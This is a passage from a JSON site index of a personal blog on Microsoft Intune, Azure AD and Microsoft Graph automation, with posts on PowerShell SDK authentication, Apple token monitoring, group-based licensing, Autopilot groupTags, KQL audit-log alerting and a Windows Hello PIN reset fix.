a PowerShell session with the Intune PowerShell SDK you will notice that all authentication requests will land on the /common endpoint.\nGet-MSGraphEnvironment AuthUrl : https://login.microsoftonline.com/common ResourceId : https://graph.microsoft.com/ GraphBaseAddress : https://graph.microsoft.com AppId : d1ddf0e4-d672-4dae-b554-9d5bdfd93547 RedirectLink : urn:ietf:wg:oauth:2.0:oob SchemaVersion : v1.0 To connect to a specific tenant we need to update the AuthUrl to contain the tenant id or any registered domain name of the target tenant before connecting:\nUpdate-MSGraphEnvironment -AuthUrl \"https://login.microsoftonline.com/nicolonsky.ch\" Afterewards you can connect to Microsoft Graph as usual:\nConnect-MSGraph ``` Happy Microsoft Graph-ing with multiple tenants.","title":"Connecting to foreign Intune tenants with Microsoft Graph and PowerShell","type":"posts"},{"content":"Apple tokens for Mobile Device Management like APNS certificates, DEP and VPP tokens need a renewal every 365 days. When an APNS certificate has expired you are forced to re-enroll all of your MDM managed apple devices. To avoid any headaches I put together a few lines of PowerShell which monitor the expiration with Azure automation and send a notification to Microsoft teams or email.\nScript # The script is intended to run recurring on Azure automation. And I recommend to setup a schedule which runs the script once a week. The script checks the following apple tokens and triggers the teams notification if it expires in less than the configured number of days:\nPush Notification certificate DEP (Device Enrollment Program) tokens VPP (Volume Purchase Program) tokens Hint : You can setup multiple DEP and VPP tokens in your Intune tenant.\nThe triggered notification is delivered to Microsoft Teams as message card with some details about the token Prerequisites # In order to get the monitoring up and running you need at least:\nAzure automation account (ideally with a service principal), if you need a guide to set up an automation account read follow this article An incoming webhook for your Microsoft Teams team which will receive the notifications OR an email account to send mails The script from my Github techblog repository Create a Microsoft Teams Webhook # Navigate to your desired teams channel which should receive the notifications and add a new incoming webhook:\nScript Configuration # Adjust days prior to expiration notification Add the generated teams webhook URL to the script Choose one of the available authentication options to Microsoft Graph and ensure that the Graph permissions DeviceManagementServiceConfig.Read.All and DeviceManagementApps.Read.All are granted to the app registration:\nService Principal (setup with this documentation) App based authentication (setup with this documentation) Service account (add the credentials to the automation account) (Optional) you can also enable email notifications if you do not like teams notifications.\nAdd the script to your automation account: Import the Microsoft.Graph.Intune PowerShell module from the module gallery: Configure a schedule to run the script recurring. I\u0026rsquo;d recommend to run it once a week. The Script in action # Last but not least let\u0026rsquo;s test the script. To check if a notification gets triggered and delivered successfully you can also increase the threshold value (number of days).\nHappy apple token monitoring!\n","date":"4 January 2020","externalUrl":null,"permalink":"/monitor-apple-token-expiration-in-intune/","section":"Posts","summary":"Apple tokens for Mobile Device Management like APNS certificates, DEP and VPP tokens need a renewal every 365 days. When an APNS certificate has expired you are forced to re-enroll all of your MDM managed apple devices. To avoid any headaches I put together a few lines of PowerShell which monitor the expiration with Azure automation and send a notification to Microsoft teams or email.\nScript # The script is intended to run recurring on Azure automation. And I recommend to setup a schedule which runs the script once a week. The script checks the following apple tokens and triggers the teams notification if it expires in less than the configured number of days:\nPush Notification certificate DEP (Device Enrollment Program) tokens VPP (Volume Purchase Program) tokens Hint : You can setup multiple DEP and VPP tokens in your Intune tenant.\nThe triggered notification is delivered to Microsoft Teams as message card with some details about the token Prerequisites # In order to get the monitoring up and running you need at least:\nAzure automation account (ideally with a service principal), if you need a guide to set up an automation account read follow this article An incoming webhook for your Microsoft Teams team which will receive the notifications OR an email account to send mails The script from my Github techblog repository Create a Microsoft Teams Webhook # Navigate to your desired teams channel which should receive the notifications and add a new incoming webhook:\n","title":"Monitor Apple token expiration in Intune","type":"posts"},{"content":"Most of the people out there blogging have recently published numbers and figures about 2019. Starting the new decade I also want to publish some figures about 2019 and wish you a happy and successful start into 2020.\nBlog # On my blog I tried to focus mainly on Enterprise Mobility + Security topics and shared some experiences and how-to\u0026rsquo;s about the modern workplace.\n28 blog posts published 101'074 page visits 04:08 (mm:ss) is the average time users spent on my site Tools # I published two open source tools in 2019, both are available on GitHub and both of them support your Microsoft 365 based workplace:\nThe Modern Workplace Concierge is a helper tool to simplify Microsoft 365 configuration allowing bulk import and export operations. Project URL\nThe Intune Drive Mapping Generator creates PowerShell scripts to map your on premises file shares to Intune MDM managed devices. Project URL\nMore numbers # 2 sessions on community events 254 new followers on twitter 423 commits on GitHub 802 generated network drive mapping configurations (Intune Drive Mapping Generator) Final words # I really appreciate all the feedback and support I received from you and fellow readers. Also in 2020 I will try to blog as much as possible and giving the community something back while representing the message that even at a young age you can contribute to the community, share your knowledge end especially learn a lot because this is a lifelong and ongoing process.\n","date":"4 January 2020","externalUrl":null,"permalink":"/a-few-numbers-from-the-last-decade/","section":"Posts","summary":"Most of the people out there blogging have recently published numbers and figures about 2019. Starting the new decade I also want to publish some figures about 2019 and wish you a happy and successful start into 2020.\nBlog # On my blog I tried to focus mainly on Enterprise Mobility + Security topics and shared some experiences and how-to’s about the modern workplace.\n28 blog posts published 101'074 page visits 04:08 (mm:ss) is the average time users spent on my site Tools # I published two open source tools in 2019, both are available on GitHub and both of them support your Microsoft 365 based workplace:\nThe Modern Workplace Concierge is a helper tool to simplify Microsoft 365 configuration allowing bulk import and export operations. Project URL\nThe Intune Drive Mapping Generator creates PowerShell scripts to map your on premises file shares to Intune MDM managed devices. Project URL\nMore numbers # 2 sessions on community events 254 new followers on twitter 423 commits on GitHub 802 generated network drive mapping configurations (Intune Drive Mapping Generator) Final words # I really appreciate all the feedback and support I received from you and fellow readers. Also in 2020 I will try to blog as much as possible and giving the community something back while representing the message that even at a young age you can contribute to the community, share your knowledge end especially learn a lot because this is a lifelong and ongoing process.\n","title":"Blogging year 2019 in numbers","type":"posts"},{"content":"This post has the intention to give you an overview and starting point to automate things with the Microsoft Graph API and PowerShell. While having the focus on Intune and EM+S but the basics are also valid for other Microsoft services.\nThe world is changing and so are you? # When talking about automation most people only think about some PowerShell code and scheduled tasks running on whatever box in an environment. But technology regarding Microsoft services and it\u0026rsquo;s automation possibilities have definitely evolved quickly. Automation can now be done with basically any scripting or programming language because Microsoft offers us the Microsoft Graph API. Although API (application program interface) sounds more like a developer term engineers should better get used to consuming API\u0026rsquo;s. As more and more services can be consumed as SaaS API\u0026rsquo;s are mostly offered for further data processing and automation.\nMicrosoft Graph API # Microsoft describes it\u0026rsquo;s own Graph API as \u0026ldquo;Microsoft Graph is the gateway to data and intelligence in Microsoft 365\u0026rdquo;. Most of the API\u0026rsquo;s out there are built according the RESTful definition. A RESTful, also called REST API should implement the following operations (HTTP methods) to work with data:\nGET: Retrieve items POST: Create items PUT : Create, overwrite items DELETE: Delete items The Microsoft Graph API also implements PATCH requests which allow you to update existing entities and properties. In the Microsoft Graph context they are probably used more often instead of PUT requests.\nAs entry point Microsoft Graph is available under the following URL: https://graph.microsoft.com.\nA schematic request looks like this:\n[HttpMethod] https://graph.microsoft.com/{version}/{route}/{resource}[/{id}/{query-parameters}\nA request to retrieve all Intune devices looks like:\nGET https://graph.microsoft.com/beta/deviceManagement/managedDevices\nAs a response we retrieve all enrolled devices in JSON format:\nAs mentioned the Graph API offers routes to almost all Microsoft 365 components like Intune, Office 365 and Windows. A full list is available in theofficial documentation.\nBeta vs v1.0 version # The Graph API is available in two different versions: naming them \u0026ldquo;beta\u0026rdquo; and \u0026ldquo;v1.0\u0026rdquo; with their respective urls: https://graph.microsoft.com/beta and https://graph.microsoft.com/v1.0.\nIf you want to build a rock-solid business application and receive support from Microsoft you are supposed to go with the v1.0 version.\nIf you want to consume the latest features for scripting and automation you are probably better served with the beta version. The fact that most of the scripts out there use the beta endpoint might tell it\u0026rsquo;s own story.\nHow to access the Microsoft Graph API? # Now you should have a rough estimation what the Microsoft Graph API allows us to do and which endpoints are available. But how to consume an API? The described operations (GET, POST, PUT, PATCH, DELETE) must be initiated via web request. To access your tenant\u0026rsquo;s data with Microsoft Graph you need to acquire an access token which must be included in the header of every API request you perform.\nIn order to retrieve an access token an application registration in your tenant is required. The Graph explorer and Intune-PowerShell-SDK have both built-in functionality which prompts you for the permissions when you try to access Microsoft Graph for the first time.\nBy default you should have an enterprise application registered in your tenant with the name \u0026ldquo;Microsoft Intune PowerShell\u0026rdquo; and the client ID \u0026ldquo;d1ddf0e4-d672-4dae-b554-9d5bdfd93547\u0026rdquo; which is used by the Intune PowerShell SDK and other Microsoft samples you will find on the web.\nNote that if you consent to an application with delegated permissions the application will never have more permissions than the currently signed-in user. If you want to access the Graph API without a signed in user you might want to set up application based authentication.\nHelpers to access Microsoft Graph # Fortunately we do not need to start from scratch and Microsoft offers use some nice helpers to start working with the Microsoft Graph API.\nGraph Explorer is an interactive tool to experience and explore the Graph API Intune-PowerShell-SDK is a PowerShell module offering various helper cmdlets to work with the API and PowerShell The Microsoft Graph Explorer offers an interactive way to explore Microsoft's Graph API My three favorite commands from the Intune PowerShell SDK are:\nInvoke-MSGraphRequest (perform any kind of Graph requests) Get-MSGraphAllPages (get all entries for requests which return a lot of data and use paging) Connect-MSGraph (connect to Graph, get an access token) the best thing is that those three cmdlets mentioned above are also useful for other parts of Microsoft Graph and not limited to Intune.\nTroubleshooting Microsoft Graph API calls # If you want to use some newer Microsoft Graph resources the features are sometimes implemented faster than they are documented. Or you just missed some piece of the documentation. So we need a way to troubleshoot our Microsoft Graph API calls. I prefer to do the action in the portal where things usually work and then analyze the https traffic and calls mad to Graph.\nWe have the following two options to do so:\nDeveloper Tools of your web browser Fiddler HTTP Proxy As an example an exempt when you create a new device configuration in the Intune portal we can trace the behaviour with the network section of a web browser:\nDeveloper tools of your browser offer some interesting details Recurring automation - are scheduled tasks dead? # For recurring automation like cleanup and reporting scripts which are intended to run on a regular basis we used to rely on scheduled tasks. Personally I do not like them anymore since I started using Azure automation. Azure automation offers the following advantages over scheduled tasks:\nMore transparency and overview of configured tasks Simplified and more secure handling of credentials (you do not need to work with secure strings and things like that) and support for service principals History of past jobs and their respective PowerShell output streams Automate both cloud and on premise tasks with hybrid workers If you want to use Azure automation to access Microsoft Graph continue reading with this post.\nFurther reading # Intune Customer-Success:Getting Started with Microsoft Graph API Automatically remind users to update iOS with e-mails and custom notifications using Microsoft Intune PowerShell SDK Cleanup duplicated devices in Intune ","date":"19 December 2019","externalUrl":null,"permalink":"/getting-started-with-workplace-automation/","section":"Posts","summary":"This post has the intention to give you an overview and starting point to automate things with the Microsoft Graph API and PowerShell. While having the focus on Intune and EM+S but the basics are also valid for other Microsoft services.\nThe world is changing and so are you? # When talking about automation most people only think about some PowerShell code and scheduled tasks running on whatever box in an environment. But technology regarding Microsoft services and it’s automation possibilities have definitely evolved quickly. Automation can now be done with basically any scripting or programming language because Microsoft offers us the Microsoft Graph API. Although API (application program interface) sounds more like a developer term engineers should better get used to consuming API’s. As more and more services can be consumed as SaaS API’s are mostly offered for further data processing and automation.\nMicrosoft Graph API # Microsoft describes it’s own Graph API as “Microsoft Graph is the gateway to data and intelligence in Microsoft 365”. Most of the API’s out there are built according the RESTful definition. A RESTful, also called REST API should implement the following operations (HTTP methods) to work with data:\n","title":"Have you already started with Intune automation and Microsoft Graph?","type":"posts"},{"content":"As you might have noticed I have been doing quite a lot of automation stuff with Microsoft Graph for Intune and Azure AD. My preferred way to run PowerShell scripts which need to run on a regular basis is to use Azure automation. Unfortunately the official \u0026ldquo;Intune-PowerShell-SDK\u0026rdquo; does not support authentication with a client certificate. Therefore I updated the module and will show you how to use it with Azure automation.\nWhy I don\u0026rsquo;t like client secrets # Azure automation brings us service principals (run as accounts) which simplify the access to Azure resources by providing an Azure AD app registration and certificates to authenticate against Azure AD. This provides more security and prevents the risk from having client secrets stored as plain text in scripts. Going with a client secret when having a nice certificate based authentication solution in place feels like making a step-backwards for me. This was the main reason why I decided to \u0026ldquo;upgrade\u0026rdquo; the Intune-PowerShell-SDK to support certificate based authentication.\nWhy I love the Intune-PowerShell-SDK # This PowerShell SDK provides nice Cmdlets to do any kind of automation with Microsoft Graph, not only limited to Intune because it offers a helper cmdlets like:\nInvoke-MSGraphRequest (perform any kind of Graph requests) Get-MSGraphAllPages (get all entries for requests which use paging) Connect-MSGraph (get an access token) These helper cmdlets allow us to build scripts in a more standardized way. But as already mentioned the current release does not support client certificates. Additionally the cmdlets for this SDK are auto-generated from a .NET project.\nUpdated PowerShell module (SDK) # I forked the official SDK and added the possibility to acquire an access token with a client certificate. To do so I updated the \u0026ldquo;Connect-MSGraph\u0026rdquo; Cmdlet to accept \u0026ldquo;CertificateThumbprint\u0026rdquo; as parameter. The certificate must be available in the current users personal store.\nThe module is available on GitHub.\nI also opened a pull request on the official repository and hope this will be integrated in the next PowerShell Gallery release of the SDK.\nSet up Application based authentication for Intune # App registration # The manual process for creating an app registration is already documented by Michael Niehaus. The only thing that changes is that you do not need to generate a client secret.\nWhen you create a new automation account in Azure automation it automatically creates a service principal (= Application Registration) in Azure AD.\nYou can also create a service principal afterwards on the automation account:\nIn Azure AD you will find then an application registration which starts with the name of your Azure automation account followed by a random sequence of characters (for better readability I always change the display name):\nA client certificate gets automatically provisioned for the automation account:\nLast but not least assign the API permissions as needed to your App registration. Make sure to choose \u0026ldquo;Application\u0026rdquo; as designated permission type and do not forget to consent the added permissions afterwards! :\n### Connect from Azure Automation Upload the module from my GitHub fork and replace the \u0026ldquo;old\u0026rdquo; one if you were already using the Intune-PowerShell-SDK in your automation account.\nConnecting from azure automation is quite simple. We just need to change the Microsoft Graph endpoint to our own tenant ID and use the automation account app registration. With the snippet below this all happens dynamically - no need to hardcode values:\nConnect from Windows # If you have the \u0026ldquo;Intune-PowerShell-SDK\u0026rdquo; already installed overwrite the module files in \u0026quot;%ProgramFiles%\\WindowsPowerShell\\Modules\\Microsoft.Graph.Intune\\6.1907.1.0\u0026quot; with my fork from GitHub available here.\nTo connect from a Windows machine we need to generate a new certificate and install it to the users personal store, export the public key:\nThe exported public key needs then to be uploaded to the app registration:\nNow you are almost ready to connect to the Microsoft Graph API. But you need to specify your tenant and application ID before you can connect (both ID\u0026rsquo;s can be viewed on the overview of your app registration):\nUpdate-MSGraphEnvironment -AppId \u0026quot;02a0aa0c-32eb-480d-93a4-d73aaca37b6b\u0026quot; -AuthUrl https://login.windows.net/7955e1b3-cbad-49eb-9a84-e14aed7f3400\nAfterwards you are ready to connect with your client certificate:\nConnect-MSGraph -CertificateThumbprint ACF2224FD67163218DA9BE82E66D71733A91E80C\nHappy Microsoft Intune PowerShell SDK-Ing with certificates!\n","date":"10 December 2019","externalUrl":null,"permalink":"/azure-ad-application-based-authentication-with-intune-using-certificate/","section":"Posts","summary":"As you might have noticed I have been doing quite a lot of automation stuff with Microsoft Graph for Intune and Azure AD. My preferred way to run PowerShell scripts which need to run on a regular basis is to use Azure automation. Unfortunately the official “Intune-PowerShell-SDK” does not support authentication with a client certificate. Therefore I updated the module and will show you how to use it with Azure automation.\nWhy I don’t like client secrets # Azure automation brings us service principals (run as accounts) which simplify the access to Azure resources by providing an Azure AD app registration and certificates to authenticate against Azure AD. This provides more security and prevents the risk from having client secrets stored as plain text in scripts. Going with a client secret when having a nice certificate based authentication solution in place feels like making a step-backwards for me. This was the main reason why I decided to “upgrade” the Intune-PowerShell-SDK to support certificate based authentication.\nWhy I love the Intune-PowerShell-SDK # This PowerShell SDK provides nice Cmdlets to do any kind of automation with Microsoft Graph, not only limited to Intune because it offers a helper cmdlets like:\n","title":"Application based authentication with the Intune PowerShell SDK using a certificate","type":"posts"},{"content":"Recently I needed to assign a lot of Microsoft licenses to different Azure AD groups. Unfortunately Microsoft does currently not offer a solution to do this (yet). Instead of giving up on this I decided to analyze what actually happens when you assign a license to a group in the Azure portal and found some actions going on within the hidden portal API. As an outcome I built a PowerShell module to manage Azure AD group based licensing assignments.\nFull functionality for group-based licensing is available through the Azure portal, and currently PowerShell and Microsoft Graph support is limited to read-only operations.\nPowerShell and Graph examples for group-based licensing in Azure AD\nThe PowerShell module # The PowerShell module uses the \u0026ldquo;main.iam.ad.ext.azure\u0026rdquo; API for the license operations and the AzureRM module to get an access token for the API. Please note that the mentioned API is not officially supported or documented. Although the API is being used by the Azure Portal for settings you configure via the portal.\nKudos to Jos Lieben for his \u0026ldquo;pioneer work\u0026rdquo; documenting on how to get an access token for the API.\nAvailability # The PowerShell module can be installed directly via Install-Module -Name AzureADLicensing or manually downloaded from GitHub or the PowerShell Gallery.\nExamples (graphical) # First install the Module as documented on GitHub.\nList available licenses: Get-AADLicenseSku\nGet assigned licenses for a specific group:\nGet-AADGroupLicenseAssignment -groupId \u0026quot;0a918505-d0d5-4078-9891-0e8bec67cb65\u0026quot;\nGet available service plans for a license:\n$m365 = Get-AADLicenseSku | Where-Object {$_.name -match \u0026#34;Microsoft 365 E5\u0026#34;} $m365.serviceStatuses.servicePlan More examples are available on GitHub.\nHappy Group Based Licensing.\n","date":"4 December 2019","externalUrl":null,"permalink":"/manage-azure-ad-group-based-licensing-with-powershell/","section":"Posts","summary":"Recently I needed to assign a lot of Microsoft licenses to different Azure AD groups. Unfortunately Microsoft does currently not offer a solution to do this (yet). Instead of giving up on this I decided to analyze what actually happens when you assign a license to a group in the Azure portal and found some actions going on within the hidden portal API. As an outcome I built a PowerShell module to manage Azure AD group based licensing assignments.\nFull functionality for group-based licensing is available through the Azure portal, and currently PowerShell and Microsoft Graph support is limited to read-only operations.\nPowerShell and Graph examples for group-based licensing in Azure AD\nThe PowerShell module # The PowerShell module uses the “main.iam.ad.ext.azure” API for the license operations and the AzureRM module to get an access token for the API. Please note that the mentioned API is not officially supported or documented. Although the API is being used by the Azure Portal for settings you configure via the portal.\nKudos to Jos Lieben for his “pioneer work” documenting on how to get an access token for the API.\n","title":"Manage Azure AD group based licensing with PowerShell","type":"posts"},{"content":"With Microsoft Graph we have powerful automation and configuration management capabilities. To further simplify this process I built the \u0026ldquo;Modern Workplace Concierge\u0026rdquo;. It is an ASP.NET application which uses an Azure AD multi tenant app to access the Microsoft Graph API on behalf to perform export and import tasks. The project uses the Microsoft Graph Beta API to access your tenant\u0026rsquo;s data.\nModern Workplace Concierge # The Modern Workplace Concierge allows you to:\nImport and export Intune configuration and settings Import and export Conditional Access policies Download OSD ready offline Autopilot profiles Download stored PowerShell scripts in Intune (as PowerShell) This allows you to import your existing Intune and Conditional Access configuration in new tenants or demo tenants. The files in JSON format can be used for further processing or documentation.\nAnd this all via web browser no client side prerequisites or PowerShell code is required!\nThe Modern Workplace Concierge The project and more information is available on GitHub feel free to provide feedback there.\nThat's how I backup my Intune configuration with the #ModernWorkplaceConcierge. Curious? Give it a try. Of course also supporting imports .https://t.co/30H8b0olLn pic.twitter.com/g5X58l1e1i\n— Nicola Suter (@nicolonsky) December 3, 2019 More Information:\nWindows Autopilot for existing devices Overview of Microsoft Graph ","date":"3 December 2019","externalUrl":null,"permalink":"/export-and-import-intune-and-conditional-access-configuration/","section":"Posts","summary":"With Microsoft Graph we have powerful automation and configuration management capabilities. To further simplify this process I built the “Modern Workplace Concierge”. It is an ASP.NET application which uses an Azure AD multi tenant app to access the Microsoft Graph API on behalf to perform export and import tasks. The project uses the Microsoft Graph Beta API to access your tenant’s data.\nModern Workplace Concierge # The Modern Workplace Concierge allows you to:\nImport and export Intune configuration and settings Import and export Conditional Access policies Download OSD ready offline Autopilot profiles Download stored PowerShell scripts in Intune (as PowerShell) This allows you to import your existing Intune and Conditional Access configuration in new tenants or demo tenants. The files in JSON format can be used for further processing or documentation.\nAnd this all via web browser no client side prerequisites or PowerShell code is required!\nThe Modern Workplace Concierge The project and more information is available on GitHub feel free to provide feedback there.\nThat's how I backup my Intune configuration with the #ModernWorkplaceConcierge. Curious? Give it a try. Of course also supporting imports .https://t.co/30H8b0olLn pic.twitter.com/g5X58l1e1i\n— Nicola Suter (@nicolonsky) December 3, 2019 More Information:\n","title":"Export and import Intune and Conditional Access configuration","type":"posts"},{"content":"Recently I needed to change a couple of groupTags on existing Windows Autopilot devices. Because Windows Autopilot profiles have been assigned based on the groupTag. Of course I could have done this with the portal (check out the devicemanagement.microsoft.com portal if not done yet!) but I am definitely an automation fan when I need to do repetitive work.\nPortal view and property mapping # In the Intune portal the Group Tag field on an Autopilot device maps to the Azure AD device property \u0026ldquo;OrderID\u0026rdquo;.\nDynamic Azure AD Groups to assign Autopilot profiles to devices can be built with the following membership rule:\n(device.devicePhysicalIds -any _ -eq \u0026quot;[OrderID]:mOSD\u0026quot;) The \u0026ldquo;Order Identifier\u0026rdquo; field on an Autopilot device maps to the Azure AD device property \u0026ldquo;PurchaseOrderId\u0026rdquo;.\nDynamic Azure AD Groups to assign Autopilot profiles to devices can be built with the following membership rule:\n(device.devicePhysicalIds -any _ -eq \u0026quot;[PurchaseOrderId]:1234\u0026quot;) PowerShell script to update groupTags # The following script updates the groupTag of one or multiple selected Autopilot devices. Selection is done with a PowerShell GridView.\nPlease note:\nthe Intune-PowerShell-SDK module is required Order identifiers currently cannot be modified with Microsoft Graph The script could be extended to update additional properties of existing autopilot devices. Simply declare the required property and their values in the ForEach-Object loop.\nHappy Windows Autopilot-ing 🐱‍💻.\n","date":"1 December 2019","externalUrl":null,"permalink":"/bulk-update-windows-autopilot/","section":"Posts","summary":"Recently I needed to change a couple of groupTags on existing Windows Autopilot devices. Because Windows Autopilot profiles have been assigned based on the groupTag. Of course I could have done this with the portal (check out the devicemanagement.microsoft.com portal if not done yet!) but I am definitely an automation fan when I need to do repetitive work.\nPortal view and property mapping # In the Intune portal the Group Tag field on an Autopilot device maps to the Azure AD device property “OrderID”.\nDynamic Azure AD Groups to assign Autopilot profiles to devices can be built with the following membership rule:\n(device.devicePhysicalIds -any _ -eq \"[OrderID]:mOSD\") The “Order Identifier” field on an Autopilot device maps to the Azure AD device property “PurchaseOrderId”.\nDynamic Azure AD Groups to assign Autopilot profiles to devices can be built with the following membership rule:\n(device.devicePhysicalIds -any _ -eq \"[PurchaseOrderId]:1234\") PowerShell script to update groupTags # The following script updates the groupTag of one or multiple selected Autopilot devices. Selection is done with a PowerShell GridView.\nPlease note:\n","title":"Bulk update Windows Autopilot groupTags","type":"posts"},{"content":"","date":"1 December 2019","externalUrl":null,"permalink":"/tags/windows-autopilot/","section":"Tags","summary":"","title":"Windows-Autopilot","type":"tags"},{"content":"Auditing Conditional Access events and changes is crucial regarding your hygiene in Azure AD for your modern workplace. With the goal that we receive appropriate notifications and alerts if special events occur. Thanks to Azure Log Analytics (also referred to as Azure Monitor) we can easily filter and create alerts based on events. This post starts where most of the others end - giving you practical examples of KUSTO queries to search your Azure AD Audit logs with Log Analytics.\nDefault log retention in AAD # A point which get\u0026rsquo;s raised often is the default log retention in Azure Active Directory (AAD). Azure Active Directory stores all activity reports depending on your license for 7 or 30 days:\nAzure AD Free and Basic: 7 days Azure AD Premium P1 and P2: 30 days Source, more Information.\nTo retain and further process Azure Active Directory Audit Logs for a longer time period (because a 30 day audit trail is likely too short for most organizations) we can:\nStream to an Azure Event Hub Archive to Blob Storage Forward them to Azure Log Analytics With Log Analytics the KUSTO query language can be used to query the forwarded log entries and we can create alert rules based on custom queries.\nForward AAD logs to Log Analytics # To forward the logs to Azure Log Analytics you first need tocreate a new Log Analytics Workspace. Afterwards navigate to your Azure Active Directory, select Monitoring, Audit logs and then Export Data Settings.\nAs I want to show you some cool queries with Log Analytics afterwards we only choose Log Analytics. But you could also choose (additionally to) stream to an event hub. Or archive them directly on a storage account.\nForward Intune Logs to Log Analytics # Connect your Log Analytics Workspace in the Intune dashboard under \u0026ldquo;Monitoring/ Diagnostics settings\u0026rdquo; like you did for the Azure AD part. As displayed in the diagnostics settings the following types of entries will be forwarded:\nIntuneAuditLogs IntuneOperationalLogs IntuneDeviceComplianceOrg (device compliance data entries for all devices) Queries # Below you will find some queries I have used a couple of times for reports, alerts and investigation purpose. Please note that for most of the queries you will need to work with the Azure AD object ID e.g. of a group or user. You can easily gather the ID by visiting your Azure Active Directory users and groups in the Azure portal. Another benefit is that the object ID does not change and cannot be modified like the userPrincipalName attribute.\nMake sure that you update the object IDs and user principal names according to your Azure AD tenant Note that the output of the queries below is mostly truncated by the \u0026ldquo;project\u0026rdquo; statement if you need more output remove the project statement or add the properties you actually need Note that it takes a few minutes (observations from my side show usually a delay of 5 to 10 minutes) until your log and audit data is available in log analytics Monitor CA excluded group changes # If you have gathered your accounts excluded from all conditional access policies (usually fallback admins and AAD-Connect accounts) in an AAD group, we can run a query to evaluate if someone got added to that group:\nThe following Azure AD Group was in my case excluded from Conditional Access policies:\nGroup Name: GS-AccountsExcludedFromConditionalAccess AAD-Object ID: 657085c0-0608-4b31-95e9-9925f83caa54 (we will need this one for the query below) AuditLogs | where TargetResources[1].id in (\u0026#39;657085c0-0608-4b31-95e9-9925f83caa54\u0026#39;) and ActivityDisplayName == \u0026#34;Add member to group\u0026#34; | project ActivityDateTime, ActivityDisplayName , TargetResources[0].userPrincipalName, InitiatedBy.user.userPrincipalName Monitor emergency access administrator sign-ins # Querying all sign-ins for an account within the last 7 days like a fallback account where usually no sign-ins should occur (multiple accounts can be addedd to the array):\nSigninLogs | where UserPrincipalName in (\u0026#39;faazureadmin@contoso.onmicrosoft.com\u0026#39;, \u0026#39;admin@contoso.onmicrosoft.com\u0026#39;) and TimeGenerated \u0026lt;= now(-7d) CA policy modifications # Modifications to Conditional Access policies and the actor can be investigated with:\nAuditLogs | where Category == \u0026#34;Policy\u0026#34; | project ActivityDateTime, ActivityDisplayName , TargetResources[0].displayName, InitiatedBy.user.userPrincipalName Changes on accounts # Find modifications on sensitive accounts like a password reset or security info reset:\nAuditLogs | where OperationName == \u0026#34;Update user\u0026#34; and TargetResources[0].userPrincipalName in (\u0026#34;test.nicola@nicolonsky.ch\u0026#34;) | project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources[0].userPrincipalName, TargetResources[0].modifiedProperties Intune app protection policy modifications (MAM) # Although Intune app protection policies do not directly belong to Conditional Access you might enforce an app protection policy in Conditional Access and want to track those changes:\nIntuneAuditLogs | where OperationName contains \u0026#34;ManagedAppPolicy\u0026#34; | extend d=parse_json(Properties) | project Identity, OperationName, tostring(d.TargetDisplayNames) Alerts # Based on the queries mentioned before Azure Monitor allows us to trigger alerts. We can take actions based on alerts with action groups like:\nWebhooks E-Mail SMS Phone calls Azure Automation runbooks Please note that the action group will be saved in an Azure resource group and you need to create an action group by using the Azure portal.\nCreate an action group on your Azure Resource group Example #1 # As an example here\u0026rsquo;s an alert rule which wil be triggered when a new user gets addedd to the group of conditional access excluded accounts. As condition specifiy custom log search and then configure the tresholds and evaluation scheduled as needed.\nWhen triggering the alert we receive an email:\nExample #2 # As soon as the sign-in log receives entries for a fallback admin we trigger a new alert with the following alert rule:\nFinal thoughts # With the implementation of Azure Log Analytics and Azure Monitor we have powerful possibilities to take the most out of audit and sign-in events from Azure Active Directory, Conditional Access and Microsoft Intune. The alerting in Azure Monitor can be further extended by passing the data to Microsoft Flow or Azure Functions with web-hooks allowing powerful automation without scripting.\n","date":"18 October 2019","externalUrl":null,"permalink":"/conditional-access-and-azure-log-analytics-in-harmony/","section":"Posts","summary":"Auditing Conditional Access events and changes is crucial regarding your hygiene in Azure AD for your modern workplace. With the goal that we receive appropriate notifications and alerts if special events occur. Thanks to Azure Log Analytics (also referred to as Azure Monitor) we can easily filter and create alerts based on events. This post starts where most of the others end - giving you practical examples of KUSTO queries to search your Azure AD Audit logs with Log Analytics.\nDefault log retention in AAD # A point which get’s raised often is the default log retention in Azure Active Directory (AAD). Azure Active Directory stores all activity reports depending on your license for 7 or 30 days:\nAzure AD Free and Basic: 7 days Azure AD Premium P1 and P2: 30 days Source, more Information.\nTo retain and further process Azure Active Directory Audit Logs for a longer time period (because a 30 day audit trail is likely too short for most organizations) we can:\nStream to an Azure Event Hub Archive to Blob Storage Forward them to Azure Log Analytics With Log Analytics the KUSTO query language can be used to query the forwarded log entries and we can create alert rules based on custom queries.\n","title":"Conditional Access and Azure Log Analytics in Harmony","type":"posts"},{"content":"","date":"18 October 2019","externalUrl":null,"permalink":"/tags/conditional-access/","section":"Tags","summary":"","title":"Conditional-Access","type":"tags"},{"content":"Recently I have been troubleshooting a nasty Windows Hello for Business problem which prevented all users in a tenant from resetting their Windows Hello for Business PIN\u0026rsquo;s on Azure AD joined devices while getting the error CAA20004.\nIssue # When clicking on \u0026ldquo;I forgot my PIN\u0026rdquo;:\nAfter completing the account sign-in and MFA challenge the Error CAA20004 came up:\nTroubleshooting # The Azure AD Portal shows us \u0026ldquo;Failure reason: other\u0026rdquo;.\nWhile recording all the https traffic to Microsofts oauth2 endpoint with Fiddler this finally unveils usable information:\nAADSTS65001: The user or administrator has not consented to use the application with ID \u0026rsquo; 9115dd05-fad5-4f9c-acc7-305d08b1b04e\u0026rsquo; named \u0026rsquo; Microsoft Pin Reset Client Production\u0026rsquo;. Send an interactive authorization request for this user and resource.\nThe error indicates that an application registration is missing in the tenant for the application \u0026ldquo;Microsoft Pin Reset Client Production\u0026rdquo;\nSolution # After a short search I found a matching Microsoft docs article. Instead of reading through the whole article the only thing I needed to do was consenthing to the: Microsoft PIN Reset Service production application and also for the Microsoft PIN Reset Client production\n(just klick on the links in order to consent to the app registrations) as tenant admin. Although in some tenants I have only seen the \u0026ldquo;Microsoft PIN Reset Service production\u0026rdquo; and PIN resets are working without the \u0026ldquo;Microsoft PIN Reset Client production\u0026rdquo;.\nWhen checking the registered enterprise applications in Azure AD the \u0026ldquo;Microsoft Pin Reset Client Production\u0026rdquo; was visible:\n\u0026hellip; and resetting Windows Hello for Business PIN\u0026rsquo;s is from now on possible and works like a charm.\nFinal words # Did you encounter the same difficulties? Or do you know why some tenants only have the \u0026ldquo;Microsoft PIN Reset Service production\u0026rdquo; and not the \u0026ldquo;Microsoft PIN Reset Client production\u0026rdquo; registered? I am curious to read your experiences in the comments.\n","date":"11 October 2019","externalUrl":null,"permalink":"/unable-to-reset-windows-hello-for-business-pin/","section":"Posts","summary":"Recently I have been troubleshooting a nasty Windows Hello for Business problem 